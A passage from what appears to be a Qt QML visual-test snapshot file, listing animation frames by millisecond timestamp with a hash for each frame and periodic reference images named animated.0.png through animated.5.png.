"06d8d8a1a41893d4e27725948a75caf4" - } - Frame { - msec: 480 - hash: "6b48bfd0c7993f746d6301c2a0f61d23" - } - Frame { - msec: 496 - hash: "ac8f096e8c7cc23bfb01de69cf3e266e" - } - Frame { - msec: 512 - hash: "dd4c9e63001bc6e0e63ea4db2d85301f" - } - Frame { - msec: 528 - hash: "2a7bed775824968e318c3d40fbc5b1c2" - } - Frame { - msec: 544 - hash: "3152e5f29015ece423fbdd11a2b382b8" - } - Frame { - msec: 560 - hash: "f1a7a4a67a21f5025294af4bea3f8998" - } - Frame { - msec: 576 - hash: "a40014d842471784e1222eb205395f6f" - } - Frame { - msec: 592 - hash: "18c2f321a149e38b258ac264d40c2376" - } - Frame { - msec: 608 - hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" - } - Frame { - msec: 624 - hash: "19d05a96f3ae7388e854bbf1075b51c1" - } - Frame { - msec: 640 - hash: "e418b5f54705515dce5ce3b4cbc45d19" - } - Frame { - msec: 656 - hash: "554e1d360463871e7c05cfe6f8abe1dd" - } - Frame { - msec: 672 - hash: "153237f8cf37e29ad2f32f7a8a6aecdb" - } - Frame { - msec: 688 - hash: "60f158382f75103c78e2b9b408e0fe65" - } - Frame { - msec: 704 - hash: "4e60300cfab8634e04dcd1b556251d31" - } - Frame { - msec: 720 - hash: "6a521f952e05d91b86ad78fd6f5de4f9" - } - Frame { - msec: 736 - hash: "b74521d6ac531414aeeca0fb28379d11" - } - Frame { - msec: 752 - hash: "a6f17da2dd581bdc249ff62f833dc025" - } - Frame { - msec: 768 - hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" - } - Frame { - msec: 784 - hash: "1ea07ee309ce2c52cbc36370b75a872f" - } - Frame { - msec: 800 - hash: "593a8a45c3a0cd7ce1cb6bd1913136ba" - } - Frame { - msec: 816 - hash: "c7eb7837dce71c914186326216214eeb" - } - Frame { - msec: 832 - hash: "0cba07ca38c7f0483244832a42d9ac53" - } - Frame { - msec: 848 - hash: "93cf31eabb454ec536c638a506be0648" - } - Frame { - msec: 864 - hash: "e8a61d3858244127cb2b2812f04f5ce9" - } - Frame { - msec: 880 - hash: "1ac8c393f084aa1894c26610b7f40ea6" - } - Frame { - msec: 896 - hash: "8861bf848da5c96b35addff736b01520" - } - Frame { - msec: 912 - hash: "f04e84ad3579d6334077abe73101d206" - } - Frame { - msec: 928 - hash: "eac4600372f0fdfadee88896ac915a48" - } - Frame { - msec: 944 - hash: "ff0928dfd16b2da9811a172c19817a97" - } - Frame { - msec: 960 - image: "animated.0.png" - } - Frame { - msec: 976 - hash: "7383209c80b403b93da3264eadbc047f" - } - Frame { - msec: 992 - hash: "86360bd58bba5fdd901c105ddb2e3ade" - } - Frame { - msec: 1008 - hash: "bc747167dfb3388ac63e9e68a86b9a03" - } - Frame { - msec: 1024 - hash: "bccb4b8a494bd45bd70c2524a02a9dc3" - } - Frame { - msec: 1040 - hash: "ae48da4a66f93c806725ce749700aac8" - } - Frame { - msec: 1056 - hash: "c763f56728e17fc119539a4d45dfccc3" - } - Frame { - msec: 1072 - hash: "956429472da133324c970774f77784f5" - } - Frame { - msec: 1088 - hash: "a4ddb4956d71fd642d54757938100cf3" - } - Frame { - msec: 1104 - hash: "ec0aea8dc8c269d1f0aee5817347ac55" - } - Frame { - msec: 1120 - hash: "68dae343cf324391ec6721cea14575f7" - } - Frame { - msec: 1136 - hash: "81d2fc6727dc7449d1a87b4abea9b704" - } - Frame { - msec: 1152 - hash: "c3a1f12febc979150028737722d6d045" - } - Frame { - msec: 1168 - hash: "80ebac4d923f67fb8dba3d133ce657ba" - } - Frame { - msec: 1184 - hash: "7c22fc3e30377cc14326833bdd23ddd8" - } - Frame { - msec: 1200 - hash: "5359f5e45e5467c62c2d9521c8199c48" - } - Frame { - msec: 1216 - hash: "30f84a7f67b13a945ba6d5935ea92da5" - } - Frame { - msec: 1232 - hash: "08f55088cdce741c67539f73291e53ab" - } - Frame { - msec: 1248 - hash: "93128906d054e44bfd126fc22bdc3102" - } - Frame { - msec: 1264 - hash: "97f7a2175dcf9ac2581a92d614d72f88" - } - Frame { - msec: 1280 - hash: "587cb6e05048579088e88e0180e3ad48" - } - Frame { - msec: 1296 - hash: "985868869ef2c332da379460a2f3a71b" - } - Frame { - msec: 1312 - hash: "94084ca4998fcda408f6987f52c34185" - } - Frame { - msec: 1328 - hash: "e91bb914c1eb63cd4269b30a220a128a" - } - Frame { - msec: 1344 - hash: "e880d93963c80e4fab5173554c9600fc" - } - Frame { - msec: 1360 - hash: "84c94704c16e246df1048f958cc8cefb" - } - Frame { - msec: 1376 - hash: "4f1eace868a6688e5b24ce48a1f0fd18" - } - Frame { - msec: 1392 - hash: "99de44f74f8e1f79652ab46afb4bb59e" - } - Frame { - msec: 1408 - hash: "44072400ca3f0237d1aebae28a94becc" - } - Frame { - msec: 1424 - hash: "a1bd4e995365e79389dba80f9e3b7af8" - } - Frame { - msec: 1440 - hash: "95d776c84fe155617fc4ee51bdb45b7e" - } - Frame { - msec: 1456 - hash: "3b95eb8cbfc831e1ebee2e456b026ab4" - } - Frame { - msec: 1472 - hash: "826c7741ba0c51de407bb799e8f360b5" - } - Frame { - msec: 1488 - hash: "11673a112566a64aca3c7010b9cc9c4d" - } - Frame { - msec: 1504 - hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" - } - Frame { - msec: 1520 - hash: "5b027815ea3c1ea54e1a02c798c468db" - } - Frame { - msec: 1536 - hash: "65c514c9e926affe1da0b4826d2754c7" - } - Frame { - msec: 1552 - hash: "73c5f23f51797a33f4d2898738e6356e" - } - Frame { - msec: 1568 - hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" - } - Frame { - msec: 1584 - hash: "fb17df681d99d5de05f6329bba697ea5" - } - Frame { - msec: 1600 - hash: "1bf7a98884b506b38326f59f85a53f41" - } - Frame { - msec: 1616 - hash: "0b1a741975e3d9ef8f5e78f371c89441" - } - Frame { - msec: 1632 - hash: "a6937ee49648ed0cb409063bf1da3b87" - } - Frame { - msec: 1648 - hash: "a790f0e884ab85f7802dd094e4ef550f" - } - Frame { - msec: 1664 - hash: "3b644aac161f0a75bfb64f5075373190" - } - Frame { - msec: 1680 - hash: "b12faa76c07adc21634cd8f8cb8436ae" - } - Frame { - msec: 1696 - hash: "3fb20f9dbd40b4729235e13af9643afc" - } - Frame { - msec: 1712 - hash: "f57727419bb51fb1e589b960ddeb20ae" - } - Frame { - msec: 1728 - hash: "7b78cba247f2c209ed81e003ca25d0a5" - } - Frame { - msec: 1744 - hash: "8172e076b05d95248d89e815fde820ef" - } - Frame { - msec: 1760 - hash: "a88d6fc324ef48aa52c642a1662ec679" - } - Frame { - msec: 1776 - hash: "74c1e71378b502bc1b732a55806a10f1" - } - Frame { - msec: 1792 - hash: "6eae517ad33f0609c31ef1f8f80ba899" - } - Frame { - msec: 1808 - hash: "a67e9a0f55512fb1c55f13c6b483923b" - } - Frame { - msec: 1824 - hash: "4887cd34d9926a361f3ca2e75be53ea6" - } - Frame { - msec: 1840 - hash: "13ca95adab171d9fad9ee8b75d0226bc" - } - Frame { - msec: 1856 - hash: "affab9fb48c889a2680eb81458d400f9" - } - Frame { - msec: 1872 - hash: "7aa0cbf73f7999be7cde4ec739efbc33" - } - Frame { - msec: 1888 - hash: "36c054064c9a76f4072492e55c70fb6c" - } - Frame { - msec: 1904 - hash: "d1ed4916cb1ecff60277d74369ff311b" - } - Frame { - msec: 1920 - image: "animated.1.png" - } - Frame { - msec: 1936 - hash: "29245946cbd811fe6bf6b2b41cc13002" - } - Frame { - msec: 1952 - hash: "8a9dd7a2d10771633e6896f3f4a722ae" - } - Frame { - msec: 1968 - hash: "058c918e83bfdd665cd836566b53959b" - } - Frame { - msec: 1984 - hash: "fdf3b7a0391119e2fe77be8d6a17481d" - } - Frame { - msec: 2000 - hash: "ed5d80c33dbf72624385b1cf43784626" - } - Frame { - msec: 2016 - hash: "911591db1519ba264847f09868e38e0e" - } - Frame { - msec: 2032 - hash: "ed5d80c33dbf72624385b1cf43784626" - } - Frame { - msec: 2048 - hash: "fdf3b7a0391119e2fe77be8d6a17481d" - } - Frame { - msec: 2064 - hash: "058c918e83bfdd665cd836566b53959b" - } - Frame { - msec: 2080 - hash: "8a9dd7a2d10771633e6896f3f4a722ae" - } - Frame { - msec: 2096 - hash: "29245946cbd811fe6bf6b2b41cc13002" - } - Frame { - msec: 2112 - hash: "63ebaa4869728f5e2891d068e4b0091c" - } - Frame { - msec: 2128 - hash: "d1ed4916cb1ecff60277d74369ff311b" - } - Frame { - msec: 2144 - hash: "36c054064c9a76f4072492e55c70fb6c" - } - Frame { - msec: 2160 - hash: "7aa0cbf73f7999be7cde4ec739efbc33" - } - Frame { - msec: 2176 - hash: "affab9fb48c889a2680eb81458d400f9" - } - Frame { - msec: 2192 - hash: "13ca95adab171d9fad9ee8b75d0226bc" - } - Frame { - msec: 2208 - hash: "4887cd34d9926a361f3ca2e75be53ea6" - } - Frame { - msec: 2224 - hash: "a67e9a0f55512fb1c55f13c6b483923b" - } - Frame { - msec: 2240 - hash: "6eae517ad33f0609c31ef1f8f80ba899" - } - Frame { - msec: 2256 - hash: "74c1e71378b502bc1b732a55806a10f1" - } - Frame { - msec: 2272 - hash: "a88d6fc324ef48aa52c642a1662ec679" - } - Frame { - msec: 2288 - hash: "8172e076b05d95248d89e815fde820ef" - } - Frame { - msec: 2304 - hash: "7b78cba247f2c209ed81e003ca25d0a5" - } - Frame { - msec: 2320 - hash: "f57727419bb51fb1e589b960ddeb20ae" - } - Frame { - msec: 2336 - hash: "3fb20f9dbd40b4729235e13af9643afc" - } - Frame { - msec: 2352 - hash: "b12faa76c07adc21634cd8f8cb8436ae" - } - Frame { - msec: 2368 - hash: "3b644aac161f0a75bfb64f5075373190" - } - Frame { - msec: 2384 - hash: "a790f0e884ab85f7802dd094e4ef550f" - } - Frame { - msec: 2400 - hash: "a6937ee49648ed0cb409063bf1da3b87" - } - Frame { - msec: 2416 - hash: "0b1a741975e3d9ef8f5e78f371c89441" - } - Frame { - msec: 2432 - hash: "1bf7a98884b506b38326f59f85a53f41" - } - Frame { - msec: 2448 - hash: "fb17df681d99d5de05f6329bba697ea5" - } - Frame { - msec: 2464 - hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" - } - Frame { - msec: 2480 - hash: "73c5f23f51797a33f4d2898738e6356e" - } - Frame { - msec: 2496 - hash: "65c514c9e926affe1da0b4826d2754c7" - } - Frame { - msec: 2512 - hash: "5b027815ea3c1ea54e1a02c798c468db" - } - Frame { - msec: 2528 - hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" - } - Frame { - msec: 2544 - hash: "11673a112566a64aca3c7010b9cc9c4d" - } - Frame { - msec: 2560 - hash: "826c7741ba0c51de407bb799e8f360b5" - } - Frame { - msec: 2576 - hash: "3b95eb8cbfc831e1ebee2e456b026ab4" - } - Frame { - msec: 2592 - hash: "95d776c84fe155617fc4ee51bdb45b7e" - } - Frame { - msec: 2608 - hash: "a1bd4e995365e79389dba80f9e3b7af8" - } - Frame { - msec: 2624 - hash: "44072400ca3f0237d1aebae28a94becc" - } - Frame { - msec: 2640 - hash: "99de44f74f8e1f79652ab46afb4bb59e" - } - Frame { - msec: 2656 - hash: "4f1eace868a6688e5b24ce48a1f0fd18" - } - Frame { - msec: 2672 - hash: "84c94704c16e246df1048f958cc8cefb" - } - Frame { - msec: 2688 - hash: "e880d93963c80e4fab5173554c9600fc" - } - Frame { - msec: 2704 - hash: "e91bb914c1eb63cd4269b30a220a128a" - } - Frame { - msec: 2720 - hash: "94084ca4998fcda408f6987f52c34185" - } - Frame { - msec: 2736 - hash: "985868869ef2c332da379460a2f3a71b" - } - Frame { - msec: 2752 - hash: "587cb6e05048579088e88e0180e3ad48" - } - Frame { - msec: 2768 - hash: "97f7a2175dcf9ac2581a92d614d72f88" - } - Frame { - msec: 2784 - hash: "93128906d054e44bfd126fc22bdc3102" - } - Frame { - msec: 2800 - hash: "08f55088cdce741c67539f73291e53ab" - } - Frame { - msec: 2816 - hash: "30f84a7f67b13a945ba6d5935ea92da5" - } - Frame { - msec: 2832 - hash: "5359f5e45e5467c62c2d9521c8199c48" - } - Frame { - msec: 2848 - hash: "7c22fc3e30377cc14326833bdd23ddd8" - } - Frame { - msec: 2864 - hash: "80ebac4d923f67fb8dba3d133ce657ba" - } - Frame { - msec: 2880 - image: "animated.2.png" - } - Frame { - msec: 2896 - hash: "81d2fc6727dc7449d1a87b4abea9b704" - } - Frame { - msec: 2912 - hash: "68dae343cf324391ec6721cea14575f7" - } - Frame { - msec: 2928 - hash: "ec0aea8dc8c269d1f0aee5817347ac55" - } - Frame { - msec: 2944 - hash: "a4ddb4956d71fd642d54757938100cf3" - } - Frame { - msec: 2960 - hash: "956429472da133324c970774f77784f5" - } - Frame { - msec: 2976 - hash: "c763f56728e17fc119539a4d45dfccc3" - } - Frame { - msec: 2992 - hash: "ae48da4a66f93c806725ce749700aac8" - } - Frame { - msec: 3008 - hash: "bccb4b8a494bd45bd70c2524a02a9dc3" - } - Frame { - msec: 3024 - hash: "bc747167dfb3388ac63e9e68a86b9a03" - } - Frame { - msec: 3040 - hash: "86360bd58bba5fdd901c105ddb2e3ade" - } - Frame { - msec: 3056 - hash: "7383209c80b403b93da3264eadbc047f" - } - Frame { - msec: 3072 - hash: "280288a7988736e30a2a3e4289ac3b0c" - } - Frame { - msec: 3088 - hash: "ff0928dfd16b2da9811a172c19817a97" - } - Frame { - msec: 3104 - hash: "eac4600372f0fdfadee88896ac915a48" - } - Frame { - msec: 3120 - hash: "f04e84ad3579d6334077abe73101d206" - } - Frame { - msec: 3136 - hash: "8861bf848da5c96b35addff736b01520" - } - Frame { - msec: 3152 - hash: "1ac8c393f084aa1894c26610b7f40ea6" - } - Frame { - msec: 3168 - hash: "e8a61d3858244127cb2b2812f04f5ce9" - } - Frame { - msec: 3184 - hash: "93cf31eabb454ec536c638a506be0648" - } - Frame { - msec: 3200 - hash: "0cba07ca38c7f0483244832a42d9ac53" - } - Frame { - msec: 3216 - hash: "c7eb7837dce71c914186326216214eeb" - } - Frame { - msec: 3232 - hash: "593a8a45c3a0cd7ce1cb6bd1913136ba" - } - Frame { - msec: 3248 - hash: "1ea07ee309ce2c52cbc36370b75a872f" - } - Frame { - msec: 3264 - hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" - } - Frame { - msec: 3280 - hash: "a6f17da2dd581bdc249ff62f833dc025" - } - Frame { - msec: 3296 - hash: "b74521d6ac531414aeeca0fb28379d11" - } - Frame { - msec: 3312 - hash: "6a521f952e05d91b86ad78fd6f5de4f9" - } - Frame { - msec: 3328 - hash: "4e60300cfab8634e04dcd1b556251d31" - } - Frame { - msec: 3344 - hash: "60f158382f75103c78e2b9b408e0fe65" - } - Frame { - msec: 3360 - hash: "153237f8cf37e29ad2f32f7a8a6aecdb" - } - Frame { - msec: 3376 - hash: "554e1d360463871e7c05cfe6f8abe1dd" - } - Frame { - msec: 3392 - hash: "e418b5f54705515dce5ce3b4cbc45d19" - } - Frame { - msec: 3408 - hash: "19d05a96f3ae7388e854bbf1075b51c1" - } - Frame { - msec: 3424 - hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" - } - Frame { - msec: 3440 - hash: "18c2f321a149e38b258ac264d40c2376" - } - Frame { - msec: 3456 - hash: "a40014d842471784e1222eb205395f6f" - } - Frame { - msec: 3472 - hash: "f1a7a4a67a21f5025294af4bea3f8998" - } - Frame { - msec: 3488 - hash: "3152e5f29015ece423fbdd11a2b382b8" - } - Frame { - msec: 3504 - hash: "2a7bed775824968e318c3d40fbc5b1c2" - } - Frame { - msec: 3520 - hash: "dd4c9e63001bc6e0e63ea4db2d85301f" - } - Frame { - msec: 3536 - hash: "ac8f096e8c7cc23bfb01de69cf3e266e" - } - Frame { - msec: 3552 - hash: "6b48bfd0c7993f746d6301c2a0f61d23" - } - Frame { - msec: 3568 - hash: "06d8d8a1a41893d4e27725948a75caf4" - } - Frame { - msec: 3584 - hash: "3f62f032239d412d3637198f5e3e83d6" - } - Frame { - msec: 3600 - hash: "01947e631c3db43f7c5b4427229bc0c8" - } - Frame { - msec: 3616 - hash: "2266df495ab5265e7514a506d3bf5bc6" - } - Frame { - msec: 3632 - hash: "8c66a33d26eec2a1133f4362710a5fab" - } - Frame { - msec: 3648 - hash: "75c9bf83ca3fe24612c245698c089430" - } - Frame { - msec: 3664 - hash: "c1936628aec13e08e9581dcd2c6d5717" - } - Frame { - msec: 3680 - hash: "a85ee8be6a47bbd1b14137803ce606ec" - } - Frame { - msec: 3696 - hash: "8419f1d75b14130730bcfec4e3a9b058" - } - Frame { - msec: 3712 - hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" - } - Frame { - msec: 3728 - hash: "406224b535b4425d2708df0083acdc8e" - } - Frame { - msec: 3744 - hash: "3dac1d9632378bd18c1c938a4868e3fb" - } - Frame { - msec: 3760 - hash: "08b9be66e23c7b6f6f629c7470394601" - } - Frame { - msec: 3776 - hash: "7b4d12e5a877507e7454aa1b8ed87c2d" - } - Frame { - msec: 3792 - hash: "4d45d70f997c2c67166905c97a900d2e" - } - Frame { - msec: 3808 - hash: "c5b3dede34b0d1d78135e39c41d117c6" - } - Frame { - msec: 3824 - hash: "b63e4d1686057828fd8781f1c33585f5" - } - Frame { - msec: 3840 - image: "animated.3.png" - } - Frame { - msec: 3856 - hash: "465ec993948f7b75aeb5759976f4620d" - } - Frame { - msec: 3872 - hash: "228d5312c261d1a5455faf69ec2f2520" - } - Frame { - msec: 3888 - hash: "aacf9ae3c23d174a1c1cda493600e355" - } - Frame { - msec: 3904 - hash: "4c60d345821f515c7811f3b69eb94607" - } - Frame { - msec: 3920 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3936 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3952 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3968 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3984 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4000 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4016 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4032 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4048 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4064 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4080 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4096 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4112 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4128 - hash: "4c60d345821f515c7811f3b69eb94607" - } - Frame { - msec: 4144 - hash: "aacf9ae3c23d174a1c1cda493600e355" - } - Frame { - msec: 4160 - hash: "228d5312c261d1a5455faf69ec2f2520" - } - Frame { - msec: 4176 - hash: "465ec993948f7b75aeb5759976f4620d" - } - Frame { - msec: 4192 - hash: "755cfccc38bababc468fe6e1076804bb" - } - Frame { - msec: 4208 - hash: "b63e4d1686057828fd8781f1c33585f5" - } - Frame { - msec: 4224 - hash: "c5b3dede34b0d1d78135e39c41d117c6" - } - Frame { - msec: 4240 - hash: "4d45d70f997c2c67166905c97a900d2e" - } - Frame { - msec: 4256 - hash: "7b4d12e5a877507e7454aa1b8ed87c2d" - } - Frame { - msec: 4272 - hash: "08b9be66e23c7b6f6f629c7470394601" - } - Frame { - msec: 4288 - hash: "3dac1d9632378bd18c1c938a4868e3fb" - } - Frame { - msec: 4304 - hash: "406224b535b4425d2708df0083acdc8e" - } - Frame { - msec: 4320 - hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" - } - Frame { - msec: 4336 - hash: "8419f1d75b14130730bcfec4e3a9b058" - } - Frame { - msec: 4352 - hash: "a85ee8be6a47bbd1b14137803ce606ec" - } - Frame { - msec: 4368 - hash: "c1936628aec13e08e9581dcd2c6d5717" - } - Frame { - msec: 4384 - hash: "75c9bf83ca3fe24612c245698c089430" - } - Frame { - msec: 4400 - hash: "8c66a33d26eec2a1133f4362710a5fab" - } - Frame { - msec: 4416 - hash: "2266df495ab5265e7514a506d3bf5bc6" - } - Frame { - msec: 4432 - hash: "01947e631c3db43f7c5b4427229bc0c8" - } - Frame { - msec: 4448 - hash: "3f62f032239d412d3637198f5e3e83d6" - } - Frame { - msec: 4464 - hash: "06d8d8a1a41893d4e27725948a75caf4" - } - Frame { - msec: 4480 - hash: "6b48bfd0c7993f746d6301c2a0f61d23" - } - Frame { - msec: 4496 - hash: "ac8f096e8c7cc23bfb01de69cf3e266e" - } - Frame { - msec: 4512 - hash: "dd4c9e63001bc6e0e63ea4db2d85301f" - } - Frame { - msec: 4528 - hash: "2a7bed775824968e318c3d40fbc5b1c2" - } - Frame { - msec: 4544 - hash: "3152e5f29015ece423fbdd11a2b382b8" - } - Frame { - msec: 4560 - hash: "f1a7a4a67a21f5025294af4bea3f8998" - } - Frame { - msec: 4576 - hash: "a40014d842471784e1222eb205395f6f" - } - Frame { - msec: 4592 - hash: "18c2f321a149e38b258ac264d40c2376" - } - Frame { - msec: 4608 - hash: "4ae120bb6dc2bd5ff81cc99ae03c191e" - } - Frame { - msec: 4624 - hash: "19d05a96f3ae7388e854bbf1075b51c1" - } - Frame { - msec: 4640 - hash: "e418b5f54705515dce5ce3b4cbc45d19" - } - Frame { - msec: 4656 - hash: "554e1d360463871e7c05cfe6f8abe1dd" - } - Frame { - msec: 4672 - hash: "153237f8cf37e29ad2f32f7a8a6aecdb" - } - Frame { - msec: 4688 - hash: "60f158382f75103c78e2b9b408e0fe65" - } - Frame { - msec: 4704 - hash: "4e60300cfab8634e04dcd1b556251d31" - } - Frame { - msec: 4720 - hash: "6a521f952e05d91b86ad78fd6f5de4f9" - } - Frame { - msec: 4736 - hash: "b74521d6ac531414aeeca0fb28379d11" - } - Frame { - msec: 4752 - hash: "a6f17da2dd581bdc249ff62f833dc025" - } - Frame { - msec: 4768 - hash: "93d9f0a7c387cbe653a9a088f8f4ef2b" - } - Frame { - msec: 4784 - hash: "1ea07ee309ce2c52cbc36370b75a872f" - } - Frame { - msec: 4800 - image: "animated.4.png" - } - Frame { - msec: 4816 - hash: "c7eb7837dce71c914186326216214eeb" - } - Frame { - msec: 4832 - hash: "0cba07ca38c7f0483244832a42d9ac53" - } - Frame { - msec: 4848 - hash: "93cf31eabb454ec536c638a506be0648" - } - Frame { - msec: 4864 - hash: "e8a61d3858244127cb2b2812f04f5ce9" - } - Frame { - msec: 4880 - hash: "1ac8c393f084aa1894c26610b7f40ea6" - } - Frame { - msec: 4896 - hash: "8861bf848da5c96b35addff736b01520" - } - Frame { - msec: 4912 - hash: "f04e84ad3579d6334077abe73101d206" - } - Frame { - msec: 4928 - hash: "eac4600372f0fdfadee88896ac915a48" - } - Frame { - msec: 4944 - hash: "ff0928dfd16b2da9811a172c19817a97" - } - Frame { - msec: 4960 - hash: "280288a7988736e30a2a3e4289ac3b0c" - } - Frame { - msec: 4976 - hash: "7383209c80b403b93da3264eadbc047f" - } - Frame { - msec: 4992 - hash: "86360bd58bba5fdd901c105ddb2e3ade" - } - Frame { - msec: 5008 - hash: "bc747167dfb3388ac63e9e68a86b9a03" - } - Frame { - msec: 5024 - hash: "bccb4b8a494bd45bd70c2524a02a9dc3" - } - Frame { - msec: 5040 - hash: "ae48da4a66f93c806725ce749700aac8" - } - Frame { - msec: 5056 - hash: "c763f56728e17fc119539a4d45dfccc3" - } - Frame { - msec: 5072 - hash: "956429472da133324c970774f77784f5" - } - Frame { - msec: 5088 - hash: "a4ddb4956d71fd642d54757938100cf3" - } - Frame { - msec: 5104 - hash: "ec0aea8dc8c269d1f0aee5817347ac55" - } - Frame { - msec: 5120 - hash: "68dae343cf324391ec6721cea14575f7" - } - Frame { - msec: 5136 - hash: "81d2fc6727dc7449d1a87b4abea9b704" - } - Frame { - msec: 5152 - hash: "c3a1f12febc979150028737722d6d045" - } - Frame { - msec: 5168 - hash: "80ebac4d923f67fb8dba3d133ce657ba" - } - Frame { - msec: 5184 - hash: "7c22fc3e30377cc14326833bdd23ddd8" - } - Frame { - msec: 5200 - hash: "5359f5e45e5467c62c2d9521c8199c48" - } - Frame { - msec: 5216 - hash: "30f84a7f67b13a945ba6d5935ea92da5" - } - Frame { - msec: 5232 - hash: "08f55088cdce741c67539f73291e53ab" - } - Frame { - msec: 5248 - hash: "93128906d054e44bfd126fc22bdc3102" - } - Frame { - msec: 5264 - hash: "97f7a2175dcf9ac2581a92d614d72f88" - } - Frame { - msec: 5280 - hash: "587cb6e05048579088e88e0180e3ad48" - } - Frame { - msec: 5296 - hash: "985868869ef2c332da379460a2f3a71b" - } - Frame { - msec: 5312 - hash: "94084ca4998fcda408f6987f52c34185" - } - Frame { - msec: 5328 - hash: "e91bb914c1eb63cd4269b30a220a128a" - } - Frame { - msec: 5344 - hash: "e880d93963c80e4fab5173554c9600fc" - } - Frame { - msec: 5360 - hash: "84c94704c16e246df1048f958cc8cefb" - } - Frame { - msec: 5376 - hash: "4f1eace868a6688e5b24ce48a1f0fd18" - } - Frame { - msec: 5392 - hash: "99de44f74f8e1f79652ab46afb4bb59e" - } - Frame { - msec: 5408 - hash: "44072400ca3f0237d1aebae28a94becc" - } - Frame { - msec: 5424 - hash: "a1bd4e995365e79389dba80f9e3b7af8" - } - Frame { - msec: 5440 - hash: "95d776c84fe155617fc4ee51bdb45b7e" - } - Frame { - msec: 5456 - hash: "3b95eb8cbfc831e1ebee2e456b026ab4" - } - Frame { - msec: 5472 - hash: "826c7741ba0c51de407bb799e8f360b5" - } - Frame { - msec: 5488 - hash: "11673a112566a64aca3c7010b9cc9c4d" - } - Frame { - msec: 5504 - hash: "e1e6c7a7f51bcccd749710dbbf9e97f6" - } - Frame { - msec: 5520 - hash: "5b027815ea3c1ea54e1a02c798c468db" - } - Frame { - msec: 5536 - hash: "65c514c9e926affe1da0b4826d2754c7" - } - Frame { - msec: 5552 - hash: "73c5f23f51797a33f4d2898738e6356e" - } - Frame { - msec: 5568 - hash: "acd9a2e76b22ab0ff809fd3ec3a018ec" - } - Frame { - msec: 5584 - hash: "fb17df681d99d5de05f6329bba697ea5" - } - Frame { - msec: 5600 - hash: "1bf7a98884b506b38326f59f85a53f41" - } - Frame { - msec: 5616 - hash: "0b1a741975e3d9ef8f5e78f371c89441" - } - Frame { - msec: 5632 - hash: "a6937ee49648ed0cb409063bf1da3b87" - } - Frame { - msec: 5648 - hash: "a790f0e884ab85f7802dd094e4ef550f" - } - Frame { - msec: 5664 - hash: "3b644aac161f0a75bfb64f5075373190" - } - Frame { - msec: 5680 - hash: "b12faa76c07adc21634cd8f8cb8436ae" - } - Frame { - msec: 5696 - hash: "3fb20f9dbd40b4729235e13af9643afc" - } - Frame { - msec: 5712 - hash: "f57727419bb51fb1e589b960ddeb20ae" - } - Frame { - msec: 5728 - hash: "7b78cba247f2c209ed81e003ca25d0a5" - } - Frame { - msec: 5744 - hash: "8172e076b05d95248d89e815fde820ef" - } - Frame { - msec: 5760 - image: "animated.5.png" - } - Frame { - msec: 5776 - hash: "74c1e71378b502bc1b732a55806a10f1" - } - Frame { - msec: 5792 - hash: "6eae517ad33f0609c31ef1f8f80ba899" - } - Frame { - msec: 5808 - hash: "a67e9a0f55512fb1c55f13c6b483923b" - } - Frame { - msec: 5824 - hash: "4887cd34d9926a361f3ca2e75be53ea6" - } - Frame { - msec: 5840 - hash: "13ca95adab171d9fad9ee8b75d0226bc" - } - Frame { - msec: 5856 - hash: "affab9fb48c889a2680eb81458d400f9" - } - Frame { - msec: 5872 - hash: "7aa0cbf73f7999be7cde4ec739efbc33" - } - Frame { - msec: 5888 - hash: "36c054064c9a76f4072492e55c70fb6c" - } - Frame { - msec: 5904 - hash: "d1ed4916cb1ecff60277d74369ff311b" - } - Frame { - msec: 5920 - hash: "63ebaa4869728f5e2891d068e4b0091c" - } - Frame { - msec: 5936 - hash: "29245946cbd811fe6bf6b2b41cc13002" - } - Frame { - msec: 5952 - hash: "8a9dd7a2d10771633e6896f3f4a722ae" - } - Frame { - msec: 5968 - hash: "058c918e83bfdd665cd836566b53959b" - } - Frame { - msec: 5984 - hash: "fdf3b7a0391119e2fe77be8d6a17481d" - } - Frame { - msec: 6000 - hash: "ed5d80c33dbf72624385b1cf43784626" - } - Frame { - msec: 6016 - hash: "911591db1519ba264847f09868e38e0e" - } - Frame { - msec: 6032 - hash: "ed5d80c33dbf72624385b1cf43784626" - } - Frame { - msec: 6048 - hash: "fdf3b7a0391119e2fe77be8d6a17481d" - } - Frame { - msec: 6064 - hash: "058c918e83bfdd665cd836566b53959b" - } - Frame { - msec: 6080 - hash: "8a9dd7a2d10771633e6896f3f4a722ae" - } - Frame { - msec: 6096 - hash: "29245946cbd811fe6bf6b2b41cc13002" - } - Frame { - msec: 6112 - hash: "63ebaa4869728f5e2891d068e4b0091c" - } - Frame { - msec: 6128 - hash: "d1ed4916cb1ecff60277d74369ff311b" - } - Frame { - msec: 6144 - hash: "36c054064c9a76f4072492e55c70fb6c" - } - Frame { - msec: 6160 - hash: "7aa0cbf73f7999be7cde4ec739efbc33" - } - Frame { - msec: 6176 - hash: "affab9fb48c889a2680eb81458d400f9" - } - Frame { - msec: 6192 - hash: "13ca95adab171d9fad9ee8b75d0226bc" - } - Frame { - msec: 6208 - hash: "4887cd34d9926a361f3ca2e75be53ea6" - } - Frame { - msec: 6224 - hash: "a67e9a0f55512fb1c55f13c6b483923b" - } - Frame { - msec: 6240 - hash: 